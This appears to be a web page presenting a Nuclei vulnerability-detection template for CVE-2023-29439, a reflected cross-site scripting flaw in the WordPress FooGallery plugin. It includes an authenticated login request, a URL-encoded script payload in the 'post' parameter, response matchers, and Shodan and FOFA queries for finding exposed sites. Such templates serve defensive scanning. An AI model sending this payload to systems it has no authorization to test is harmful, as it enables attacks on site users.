FooGallery plugin <= 2.2.35 - Cross-Site Scripting

ID: CVE-2023-29439

Severity: medium

Author: theamanrawat

Tags: cve,cve2023,xss,wordpress,wp-plugin,wp,foogallery,authenticated,fooplugins

Description

Reflected Cross-Site Scripting (XSS) vulnerability in FooPlugins FooGallery plugin <= 2.2.35 versions.

YAML Source

id: CVE-2023-29439

info:
  name: FooGallery plugin <= 2.2.35 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    Reflected Cross-Site Scripting (XSS) vulnerability in FooPlugins FooGallery plugin <= 2.2.35 versions.
  reference:
    - https://lourcode.kr/posts/CVE-2023-29439-Analysis?_s_id=cve
    - https://wordpress.org/plugins/foogallery/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-29439
    - https://patchstack.com/database/vulnerability/foogallery/wordpress-foogallery-plugin-2-2-35-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-29439
    cwe-id: CWE-79
    epss-score: 0.00161
    epss-percentile: 0.52668
    cpe: cpe:2.3:a:fooplugins:foogallery:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: "true"
    max-request: 2
    vendor: fooplugins
    product: foogallery
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/foogallery/
    fofa-query: body=/wp-content/plugins/foogallery/
    publicwww-query: "/wp-content/plugins/foogallery/"
  tags: cve,cve2023,xss,wordpress,wp-plugin,wp,foogallery,authenticated,fooplugins

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/post-new.php?post_type=foogallery&post=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'data-gallery_id="\"><script>alert(document.domain)</script>"'
          - 'foogallery-image-edit-modal'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a0046304402201e72f8024ed5926fcd73ecce0123f0058f60aa4ae496dbfa1727e9544e6d2b350220439623dfab448d0b65c573ed6cc241bc9f068d8b1960ee7e8c16422b2a9f2499:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-29439.yaml"

View on Github